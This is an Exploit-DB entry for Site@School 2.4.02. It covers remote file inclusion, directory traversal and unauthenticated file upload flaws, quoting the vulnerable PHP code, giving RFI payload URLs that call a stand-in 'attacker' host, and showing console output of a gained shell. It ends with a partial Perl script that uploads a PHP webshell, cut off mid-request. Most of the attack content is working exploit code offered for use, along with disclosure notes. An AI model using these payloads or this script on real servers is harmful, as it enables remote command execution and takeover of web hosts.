Exploit-DB #2374
Description: Site@School 2.4.02 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-09-15
Author: simo64

Exploit:
# Title: Site@School 2.4.02 and below Multiple remote Command Execution Vulnerabilities
# Vendor: Site@School
# webiste : http://siteatschool.sourceforge.net/ 
# Version : <= 2.4.02
# Severity: Critical 
# Discovered by: Simo64 <simo64_at_morx_org> 
# Exploit writting by: Simo Ben youssef <simo_at_morx_org>  
# Discovered: 05 Aout 2006
# Published : 15 September 2006
# MorX Security Research Team
# http://www.morx.org 
# Original File: http://www.morx.org/school.txt

# Details

# Remote File Inclsuion :

# vulnerable code in starnet/modules/sn_allbum/slideshow.php near line 39 - 46:

# [code]
# ------------------------------------------------------------------
# if(file_exists("$cmsdir/languages/$language/sn_allbum/$language.php")) 
# {
# 	  include("$cmsdir/languages/$language/sn_allbum/$language.php");
# } 
# else 
# {
#	 include("$cmsdir/languages/EN/sn_allbum/EN.php");
# }
# -------------------------------------------------------------------[/code]

# vulnerable code in line 91 :

# [code]
# ----------------------------------------------------------------
#	 include("$cmsdir/themes/$themelocation/".$content_parm[0]); 
# ------------------------------------------------------------------[/code]

# $cmsdir is not properly verified ,can be used to include files from remote
# resources witch would allow a remote attacker to execute arbitary command with the # privilege of the webserver

# Note : multiple files are affected !

# Exploit : 

# http://localhost/starnet/modules/sn_allbum/slideshow.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
# http://localhost/starnet/modules/include/include.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
# http://localhost/starnet/themes/editable/main.inc.php?cmsdir=http://attacker/evilscript.txt?cmd=ls


# =======================
# Directory Traversal   :
# =======================

# PoC :

# http://localhost/starnet/editors/htmlarea/popups/images.php?dir=../../

# =======================
# Arbitary File Upload  :
# =======================

# vulnerable code in starnet/editors/htmlarea/popups/images.php near lines 58 - 104

# [code]
# ----------------------------------------------------------
# $BASE_DIR = $server_path;
# $BASE_ROOT = $user_path.'/'.$media ;

# if(isset($_FILES['upload']) && is_array($_FILES['upload']) && isset($_POST['dirPath'])) 
# {

#	 $dirPathPost = $_POST['dirPath'];
#	 if(strlen($dirPathPost) > 0) 
#	 {
#		 if(substr($dirPathPost,0,1)=='/') 
#			 $IMG_ROOT .= $dirPathPost;		
#		 else
#			 $IMG_ROOT = $dirPathPost;			
#	 }

#	 if(strrpos($IMG_ROOT, '/')!= strlen($IMG_ROOT)-1) 
#		 $IMG_ROOT .= '/';

#	 do_upload($_FILES['upload'], $BASE_DIR.$BASE_ROOT.$dirPathPost.'/');
# }

# /*[morx] do_upload function code [/morx]*/


# function do_upload($file, $dest_dir) 
# {
# 	global $clearUploads, $perm;

# 	if(is_file($file['tmp_name'])) 
#	 {  
#         # Remove spaces, apostrophe, exclamation marks etc.
#         $str_from = " ¥'@!,/¥¥¥t¥*?`¥"" ;
#         $str_to = str_repeat("_",strlen($str_from));
#         $file_name = strtr($file['name'],$str_from,$str_to);  
#		 //var_dump($file); echo "DIR:$dest_dir";
#		 move_uploaded_file($file['tmp_name'], $dest_dir.$file_name);
#	 	 //get filepermissions from config and chmod it.
#		 eval("chmod('$dest_dir.$file_name', $perm);");
#	 }

#	 $clearUploads = true;
# }

# ---------------------------------------------------------[/code]

# the first problem is that starnet/editors/htmlarea/popups/images.php is accessible
# directelly to any user without any authentificagtion , 
# the second problem is that the script doesn't verify thefile extension so an attacker needs just to complete the
# condition in line 88 to upload a malicious script

# Disclosure History:

# 05 Aout 2006 : Discovered
# 05 Aout 2006 : Contacted Vendor with vulnerabilities information
# 23 Aout 2006 : Vendor released 2.4.03

# Patch:

# Upgrade to the latest version.

# Exploit :
# =========
# [code]

# C:¥>perl school.pl localhost

# --- Site@school remote file upload Xploit
# --- Writting By Simo ben youssef / Simo_at_morx_org
# --- MorX Security Research Team
# --- www.morx.org

# [*] checking if zebi.php was successfully uploaded ...
# [+] zebi.php was successfully uploaded

# ####################################
# ####     ET VOILA, YOU ARE IN  #####
# ####################################

# Linux localhost 2.6.12.6-xenU #1 SMP Sun Dec 4 20:49:44 GMT 2005 x86_64 GNU/Linux

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# [www-data@localhost:]#exit
# Connection Closed

use IO::Socket;
use LWP::Simple;

if(!defined($ARGV[0])) {

print "¥n--- Site¥@school remote file upload Xploit¥n";
print "--- Writting By Simo ben youssef / Simo_at_morx_org¥n";
print "--- MorX Security Research Team¥n";
print "--- www.morx.org¥n¥n";

print "--- Usage:   perl $0 <host>¥n";
print "--- Example: perl $0 localhost¥n¥n";
exit; }

$TARGET = $ARGV[0];
$PORT   = "80";
$SCRIPT = "starnet/editors/htmlarea/popups/images.php";
$SHELL  = "/starnet/media/zebi.php?cmd=";
$HTTP   = "http://";


$COMMAND1 = "POST /$SCRIPT HTTP/1.1";
$COMMAND2 = "Accept: image/gif, image/x-xbitmap, image/jpeg,  image/pjpeg, application/x-shockwave-flash, */*";
$COMMAND3 = "Accept-Language: en-us";
$COMMAND4 = "Content-Type: multipart/form-data; boundary=-------- -------------------7d62e2819048c2";
$COMMAND5 = "Accept-Encoding: gzip, deflate";
$COMMAND6 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;  Windows NT 5.1)";
$COMMAND7 = "Host: $TARGET";
$COMMAND8 = "Content-Length: 438";
$COMMAND9 = "Connection: Keep-Alive";
$COMMAND9a = "Cache-Control: no-cache";
$COMMAND10 = "-----------------------------7d62e2819048c2";
$COMMAND11 = 'Content-Disposition: form-data; name="dirPath"';
$COMMAND12 = "/";
$COMMAND13 = 'Content-Disposition: form-data; name="upload";  filename="C:¥zebi.php